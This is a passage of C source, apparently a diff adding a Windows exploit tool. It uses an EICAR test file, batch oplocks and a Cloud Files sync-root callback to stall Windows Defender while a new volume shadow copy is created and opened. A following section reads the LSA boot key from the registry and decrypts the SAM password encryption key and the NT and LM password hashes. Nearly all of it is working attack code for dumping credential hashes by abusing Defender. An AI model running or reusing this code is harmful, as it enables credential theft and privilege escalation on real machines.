(wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + } + else + { + LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSSfirst) + { + printf("Failed to allocate memory.\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSSfirst; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *errorcode = ERROR_NOT_ENOUGH_MEMORY; + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + free(objdirinfo); + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + + } + + } + } + } + + + + + } + free(objdirinfo); + return LLVSSfirst; +} + +DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) +{ + + wchar_t devicepath[] = L"\\Device"; + UNICODE_STRING udevpath = { 0 }; + RtlInitUnicodeString(&udevpath, devicepath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hobjdir = NULL; + DWORD retval = ERROR_SUCCESS; + wchar_t newvsspath[MAX_PATH] = { 0 }; + wcscpy(newvsspath, L"\\Device\\"); + bool criterr = false; + int vscnum = 0; + bool restartscan = false; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL; + bool srchfound = false; + wchar_t vsswinpath[MAX_PATH] = { 0 }; + UNICODE_STRING _vsswinpath = { 0 }; + + OBJECT_ATTRIBUTES objattr2 = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hlk = NULL; + LLShadowVolumeNames* vsinitial = NULL; + + stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); + if (stat) + { + printf("Failed to open object manager directory, error : 0x%0.8X", stat); + retval = RtlNtStatusToDosError(stat); + return retval; + } + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + if (!emptybuff) + { + printf("Failed to allocate memory !!!"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + + + vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval); + + if (criterr) + { + printf("Unexpected error while listing current volume shadow copy volumes\n"); + goto cleanup; + } + if (!vsinitial) + { + printf("No volume shadow copies were found.\n"); + } + else + { + printf("Found %d volume shadow copies\n", vscnum); + } + + + + stat = STATUS_SUCCESS; + +scanagain: + do + { + if (objdirinfo) + free(objdirinfo); + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + retval = ERROR_NOT_ENOUGH_MEMORY; + goto cleanup; + } + ZeroMemory(objdirinfo, reqsz); + + scanctx = 0; + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + } + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + } while (1); + + + + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + // check against the list if there this is a unique VS Copy + LLShadowVolumeNames* current = vsinitial; + bool found = false; + while (current) + { + if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) + { + found = true; + break; + } + current = current->next; + } + if (found) + continue; + else + { + srchfound = true; + wcscat(newvsspath, objdirinfo[i].Name.Buffer); + break; + } + } + } + } + } + + if (!srchfound) { + restartscan = true; + goto scanagain; + } + if (objdirinfo) { + free(objdirinfo); + objdirinfo = NULL; + } + NtClose(hobjdir); + hobjdir = NULL; + + + + printf("New volume shadow copy detected : %ws\n", newvsspath); + + + wcscpy(vsswinpath, newvsspath); + wcscat(vsswinpath, L"\\Windows"); + RtlInitUnicodeString(&_vsswinpath, vsswinpath); + InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + +retry: + stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL); + if (stat == STATUS_NO_SUCH_DEVICE) + goto retry; + if (stat) + { + printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat); + retval = RtlNtStatusToDosError(stat); + goto cleanup; + + + } + printf("Successfully accessed volume shadow copy.\n"); + CloseHandle(hlk); + if (fullvsspath) + wcscpy((wchar_t*)fullvsspath, newvsspath); + + +cleanup: + if (hobjdir) + NtClose(hobjdir); + if (emptybuff) + free(emptybuff); + if (vsinitial) + DestroyVSSNamesList(vsinitial); + + return retval; +} + +DWORD GetWDPID() +{ + static DWORD retval = 0; + if (retval) + return retval; + + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + return 0; + SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS); + CloseServiceHandle(scmgr); + if (!hsvc) + return 0; + + + SERVICE_STATUS_PROCESS ssp = { 0 }; + DWORD reqsz = sizeof(ssp); + bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz); + CloseServiceHandle(hsvc); + if (!res) + return 0; + retval = ssp.dwProcessId; + return retval; + +} + +void CfCallbackFetchPlaceHolders( + _In_ CONST CF_CALLBACK_INFO* CallbackInfo, + _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters +) { + + printf("CfCallbackFetchPlaceHolders triggered !\n"); + + CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo; + wchar_t* procname = PathFindFileName(cpi->ImagePath); + printf("Directory query from %ws\n", procname); + if (GetWDPID() == cpi->ProcessId) + { + cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext; + SetEvent(ctx->hnotifywdaccess);; + + printf("Defender flagged.\n"); + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + //STATUS_CLOUD_FILE_REQUEST_TIMEOUT + SYSTEMTIME systime = { 0 }; + FILETIME filetime = { 0 }; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &filetime); + + FILE_BASIC_INFO filebasicinfo = { 0 }; + filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} }; + CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + placeholder[0].RelativeFileName = ctx->filename; + + placeholder[0].FsMetadata = fsmetadata; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + placeholder[0].FileIdentity = wuid2; + placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t); + placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE; + + + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 1; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = placeholder; + + WaitForSingleObject(ctx->hnotifylockcreated, INFINITE); + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute returned : 0x%0.8X\n", hs); + return; + } + CF_OPERATION_INFO cfopinfo = { 0 }; + cfopinfo.StructSize = sizeof(CF_OPERATION_INFO); + cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS; + cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey; + cfopinfo.TransferKey = CallbackInfo->TransferKey; + cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector; + cfopinfo.RequestKey = CallbackInfo->RequestKey; + CF_OPERATION_PARAMETERS cfopparams = { 0 }; + cfopparams.ParamSize = sizeof(cfopparams); + cfopparams.TransferPlaceholders.PlaceholderCount = 0; + cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0; + cfopparams.TransferPlaceholders.EntriesProcessed = 0; + cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE; + cfopparams.TransferPlaceholders.PlaceholderArray = { 0 }; + HRESULT hs = CfExecute(&cfopinfo, &cfopparams); + printf("CfExecute : 0x%0.8X\n", hs); + + return; + + +} + +DWORD WINAPI FreezeVSS(void* arg) +{ + cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg; + if (!args) + return ERROR_BAD_ARGUMENTS; + + HANDLE hlock = NULL; + HRESULT hs; + CF_SYNC_REGISTRATION cfreg = { 0 }; + cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); + cfreg.ProviderName = L"IHATEMICROSOFT"; + cfreg.ProviderVersion = L"1.0"; + CF_SYNC_POLICIES syncpolicy = { 0 }; + syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); + syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; + syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED; + syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; + syncpolicy.InSync = CF_INSYNC_POLICY_NONE; + CF_CALLBACK_REGISTRATION callbackreg[2]; + callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders }; + callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL }; + CF_CONNECTION_KEY cfkey = { 0 }; + OVERLAPPED ovd = { 0 }; + DWORD nwf = 0; + //wchar_t syncroot[] = L"C:\\temp"; + wchar_t syncroot[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH); + *(PathFindFileName(syncroot) - 1) = L'\0'; + DWORD retval = STATUS_SUCCESS; + wchar_t lockfile[MAX_PATH]; + wcscpy(lockfile, syncroot); + wcscat(lockfile, L"\\"); + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + wcscat(lockfile, wuid2); + wcscat(lockfile, L".lock"); + cldcallbackctx callbackctx = { 0 }; + bool syncrootregistered = false; + callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL); + callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess) + { + printf("Failed to create event, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + wcscpy(callbackctx.filename, wuid2); + wcscat(callbackctx.filename, L".lock"); + hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to create lock file %ws error : %d", lockfile, GetLastError()); + retval = GetLastError(); + goto cleanup; + } + + + //CreateDirectory(syncroot, NULL); + hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE); + if (hs) + { + printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + syncrootregistered = true; + hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); + if (hs) + { + printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); + retval = ERROR_UNIDENTIFIED_ERROR; + goto cleanup; + } + if (args->hlock) { + CloseHandle(args->hlock); + args->hlock = NULL; + } + + printf("Waiting for callback...\n"); + + WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE); + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event, error : %d\n", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = GetLastError(); + goto cleanup; + } + SetEvent(callbackctx.hnotifylockcreated); + + printf("Waiting for oplock to trigger...\n"); + + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + + printf("WD is frozen and the new VSS can be used.\n"); + + SetEvent(args->hvssready); + + WaitForSingleObject(args->hcleanupevent, INFINITE); + + + +cleanup: + + if (hlock) + CloseHandle(hlock); + if (callbackctx.hnotifylockcreated) + CloseHandle(callbackctx.hnotifylockcreated); + if (callbackctx.hnotifywdaccess) + CloseHandle(callbackctx.hnotifywdaccess); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + + if (syncrootregistered) + { + CfDisconnectSyncRoot(cfkey); + CfUnregisterSyncRoot(syncroot); + } + + + return retval; + +} + + +bool TriggerWDForVS(HANDLE hreleaseevent,wchar_t* fullvsspath) +{ + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wchar_t* wuid2 = (wchar_t*)wuid; + + wchar_t workdir[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%TEMP%\\", workdir, MAX_PATH); + wcscat(workdir, wuid2); + wchar_t eicarfilepath[MAX_PATH] = { 0 }; + wcscpy(eicarfilepath,workdir); + wcscat(eicarfilepath,L"\\foo.exe"); + + HANDLE hlock = NULL; + wchar_t rstmgr[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH); + OVERLAPPED ovd = { 0 }; + char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; + rev(eicar); + DWORD nwf = 0; + cloudworkerthreadargs cldthreadargs = { 0 }; + DWORD tid = 0; + HANDLE hthread = NULL; + bool dircreated = false; + bool retval = true; + HANDLE hfile = NULL; + HANDLE trigger = NULL; + HANDLE hthread2 = NULL; + HANDLE hobj[2] = { 0 }; + DWORD exitcode = STATUS_SUCCESS; + DWORD waitres = 0; + hthread = CreateThread(NULL, NULL, ShadowCopyFinderThread, (void*)fullvsspath, NULL, &tid); + if (!hthread) + { + printf("Failed to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + dircreated = CreateDirectory(workdir, NULL); + if (!dircreated) + { + printf("Failed to create working directory, error : %d\n",GetLastError()); + retval = false; + goto cleanup; + } + + hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL); + if (!hfile || hfile == INVALID_HANDLE_VALUE) + { + printf("Failed to create eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + + if (!WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL)) + { + printf("Failed to write eicar test file, error : %d\n", GetLastError()); + retval = false; + goto cleanup; + } + + + hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); + if (!hlock || hlock == INVALID_HANDLE_VALUE) + { + printf("Failed to open restart manager dll for exclusive access, error : %d\nTry again later.\n", GetLastError()); + retval = false; + goto cleanup; + } + + + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!ovd.hEvent) + { + printf("Failed to create event object with error : %d !!!!\n", GetLastError()); + retval = false; + goto cleanup; + } + + SetLastError(ERROR_SUCCESS); + DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + // trigger wd for action + trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (trigger && trigger != INVALID_HANDLE_VALUE) + CloseHandle(trigger); + + printf("Waiting for oplock to trigger...\n"); + GetOverlappedResult(hlock, &ovd, &nwf, TRUE); + printf("Oplock triggered.\n"); + + if (!GetExitCodeThread(hthread, &exitcode)) + { + printf("Unexpected error while getting worker thread exit code"); + retval = false; + goto cleanup; + } + if (exitcode) + { + printf("Failed to get new volume shadow copy path"); + retval = false; + goto cleanup; + + } + + + cldthreadargs.hcleanupevent = hreleaseevent; + cldthreadargs.hlock = hlock; + cldthreadargs.hvssready = CreateEvent(NULL, FALSE, FALSE, NULL); + + hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid); + if (!hthread2) { + printf("Unable to create worker thread, error : %d", GetLastError()); + retval = false; + goto cleanup; + } + + + + hobj[0] = hthread2; + hobj[1] = cldthreadargs.hvssready; + waitres = WaitForMultipleObjects(2, hobj, FALSE, INFINITE); + + if (waitres - WAIT_OBJECT_0 == 0) + { + printf("Unable to freeze WD, thread exited prematurely.\n"); + retval = false; + } + +cleanup: + + + if (hthread) + CloseHandle(hthread); + if(hthread2) + CloseHandle(hthread2); + if(cldthreadargs.hvssready) + CloseHandle(cldthreadargs.hvssready); + if (ovd.hEvent) + CloseHandle(ovd.hEvent); + if (hfile) + CloseHandle(hfile); + if (dircreated) + RemoveDirectory(workdir); + + return retval; + + + +} +////////////////////////////////////////////////////////////////////// +// Volume shadow copy functions end +///////////////////////////////////////////////////////////////////// + +////////////////////////////////////////////////////////////////////// +// SAM handling start +///////////////////////////////////////////////////////////////////// + + +#define SAM_DATABASE_DATA_ACCESS_OFFSET 0xcc +#define SAM_DATABASE_USERNAME_OFFSET 0x0c +#define SAM_DATABASE_USERNAME_LENGTH_OFFSET 0x10 +#define SAM_DATABASE_LM_HASH_OFFSET 0x9c +#define SAM_DATABASE_LM_HASH_LENGTH_OFFSET 0xa0 +#define SAM_DATABASE_NT_HASH_OFFSET 0xa8 +#define SAM_DATABASE_NT_HASH_LENGTH_OFFSET 0xac + +struct PwdEnc +{ + char* buff; + size_t sz; + wchar_t* username; + ULONG usernamesz; + char* LMHash; + ULONG LMHashLenght; + char* NTHash; + ULONG NTHashLenght; + ULONG rid; + +}; + + +NTSTATUS WINAPI SamConnect(IN PUNICODE_STRING ServerName, OUT HANDLE* ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted); +NTSTATUS WINAPI SamCloseHandle(IN HANDLE SamHandle); +NTSTATUS WINAPI SamOpenDomain(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE* DomainHandle); +NTSTATUS WINAPI SamOpenUser(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE* UserHandle); +NTSTATUS WINAPI SamiChangePasswordUser(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE* oldLM, IN const BYTE* newLM, IN BOOL isNewNTLM, IN const BYTE* oldNTLM, IN const BYTE* newNTLM); + + + +void hex_string_to_bytes(const char* hex_string, unsigned char* byte_array, size_t max_len) { + size_t len = strlen(hex_string); + if (len % 2 != 0) { + fprintf(stderr, "Error: Hex string length must be even.\n"); + return; + } + + size_t byte_len = len / 2; + if (byte_len > max_len) { + fprintf(stderr, "Error: Output buffer too small.\n"); + return; + } + + for (size_t i = 0; i < byte_len; i++) { + // Read two hex characters and convert them to an unsigned int + unsigned int byte_val; + if (sscanf(&hex_string[i * 2], "%2x", &byte_val) != 1) { + fprintf(stderr, "Error: Invalid hex character in string.\n"); + return; + } + byte_array[i] = (unsigned char)byte_val; + } +} + +bool GetLSASecretKey(unsigned char bootkeybytes[16]) +{ + + const wchar_t* keynames[] = { {L"JD"}, {L"Skew1"}, {L"GBG"}, {L"Data"} }; + int indices[] = { 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 }; + + + //ORHKEY hlsa = NULL; + HKEY hlsa = NULL; + DWORD err = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", NULL, KEY_READ, &hlsa); + char data[0x1000] = { 0 }; + DWORD index = 0; + for (const wchar_t* keyname : keynames) + { + DWORD retsz = sizeof(data) / sizeof(char); + HKEY hbootkey = NULL; + err = RegOpenKeyEx(hlsa, keyname, NULL, KEY_QUERY_VALUE, &hbootkey); + + err = RegQueryInfoKeyA(hbootkey, &data[index], &retsz, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + index += retsz; + RegCloseKey(hbootkey); + } + //printf("%s\n", data); + RegCloseKey(hlsa); + + if (strlen(data) < 16) + { + printf("Boot key mismatch."); + return 1; + } + + // convert hex string to binary + unsigned char keybytes[16] = { 0 }; + hex_string_to_bytes(data, keybytes, 16); + + + + for (int i = 0; i < sizeof(keybytes); i++) + { + + bootkeybytes[i] = keybytes[indices[i]]; + } + return true; + +} + +void* UnprotectAES(char* lsaKey, char* iv, char* hashdata, unsigned long enclen, int* decryptedlen) +{ + + char* decrypted = (char*)malloc(enclen); + memmove(decrypted, hashdata, enclen); + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + + struct aes128keyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[16]; + } blob; + + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; + blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_AES_128; + blob.keySize = 16; + memmove(blob.bytes, lsaKey, 16); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(aes128keyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_CBC; + CryptSetKeyParam(hcryptkey, KP_IV, (const BYTE*)iv, NULL); + + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + + + /* + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit(en, EVP_aes_128_cbc(), (const unsigned char*)lsaKey, (const unsigned char*)iv); + if (!retval) + return NULL; + + //int decryptedsz = enclen; + retval = EVP_DecryptUpdate(en, (unsigned char*)decrypted, (int*)&enclen, (const unsigned char*)hashdata, enclen); + if (!retval) + return NULL; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)decrypted + enclen, &fulllen); + EVP_CIPHER_CTX_free(en); + if (!retval) + return NULL; + */ + if (decryptedlen) + *decryptedlen = retsz; + + return decrypted; + +} + +#ifndef SHA256_DIGEST_LENGTH +#define SHA256_DIGEST_LENGTH 32 +#endif + +bool ComputeSHA256(char* data, int size, char hashout[SHA256_DIGEST_LENGTH]) +{ + + + char* data2 = (char*)malloc(SHA256_DIGEST_LENGTH); + ZeroMemory(data2, SHA256_DIGEST_LENGTH); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_SHA_256, NULL, NULL, &Hhash); + CryptHashData(Hhash, (const BYTE*)data, size, NULL); + DWORD md_len = 0; + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + //inputsz = size; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)hashout, &md_len, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* en = EVP_MD_CTX_new(); + + bool retval = EVP_DigestInit(en, EVP_sha256()); + if (!retval) + return retval; + retval = EVP_DigestUpdate(en, data, size); + if (!retval) + return retval; + EVP_DigestFinal(en, (unsigned char*)hashout, NULL); + */ + //return retval; + return true; + + + +} + +void* UnprotectPasswordEncryptionKeyAES(char* data, char* lsaKey, int* keysz) +{ + + int hashlen = data[0]; + int enclen = data[4]; + + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + char* cyphertext = (char*)malloc(enclen); + memmove(cyphertext, &data[0x18], enclen); + + // first arg, lsaKey | second arg, iv | thid arg, ciphertext + int outsz = 0; + int pekoutsz = 0; + char* pek = (char*)UnprotectAES(lsaKey, iv, cyphertext, enclen, &pekoutsz); + + char* hashdata = (char*)malloc(hashlen); + memmove(hashdata, &data[0x18 + enclen], hashlen); + + char* hash = (char*)UnprotectAES(lsaKey, iv, hashdata, hashlen, &outsz); + + + char hash256[SHA256_DIGEST_LENGTH]; + + if (!ComputeSHA256(pek, pekoutsz, hash256)) + { + return NULL; + } + + if (memcmp(hash256, hash, sizeof(hash256)) != 0) + { + printf("Invalid AES password key.\n"); + return NULL; + } + if (keysz) + *keysz = sizeof(hash256); + + + return pek; + +} + +void* UnprotectPasswordEncryptionKey(char* samKey, unsigned char* lsaKey, int* keysz) +{ + + int enctype = samKey[0x68]; + if (enctype == 2) { + int endofs = samKey[0x6c] + 0x68; + int len = endofs - 0x70; + + char* data = (char*)malloc(len); + memmove(data, &samKey[0x70], len); + void* retval = UnprotectPasswordEncryptionKeyAES(data, (char*)lsaKey, keysz); + + return retval; + } + __debugbreak(); + return NULL; + +} + +void* UnprotectPasswordHashAES(char* key, int keysz, char* data, int datasz, int* outsz) +{ + int length = data[4]; + if (!length) + return NULL; + char iv[16] = { 0 }; + memmove(iv, &data[8], sizeof(iv)); + + int ciphertextsz = datasz - 24; + char* ciphertext = (char*)malloc(ciphertextsz); + memmove(ciphertext, &data[8 + sizeof(iv)], ciphertextsz); + return UnprotectAES(key, iv, ciphertext, ciphertextsz, outsz); +} + +void* UnprotectPasswordHash(char* key, int keysz, char* data, int datasz, ULONG rid, int* outsz) +{ + int enctype = data[2]; + + switch (enctype) + { + case 2: + + return UnprotectPasswordHashAES(key, keysz, data, datasz, outsz); + + break; + default: + __debugbreak(); + break; + } + + return NULL; + + +} + +void* UnprotectDES(char* key, int keysz, char* ciphertext, int ciphertextsz, int* outsz) +{ + + char* ciphertext2 = (char*)malloc(ciphertextsz); + memmove(ciphertext2, ciphertext, ciphertextsz); + HCRYPTPROV hprov = NULL; + CryptAcquireContext(&hprov, 0, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + struct deskeyBlob + { + BLOBHEADER hdr; + DWORD keySize; + BYTE bytes[8]; + }blob; + //deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz); + blob.hdr.bType = PLAINTEXTKEYBLOB; + blob.hdr.bVersion = CUR_BLOB_VERSION; 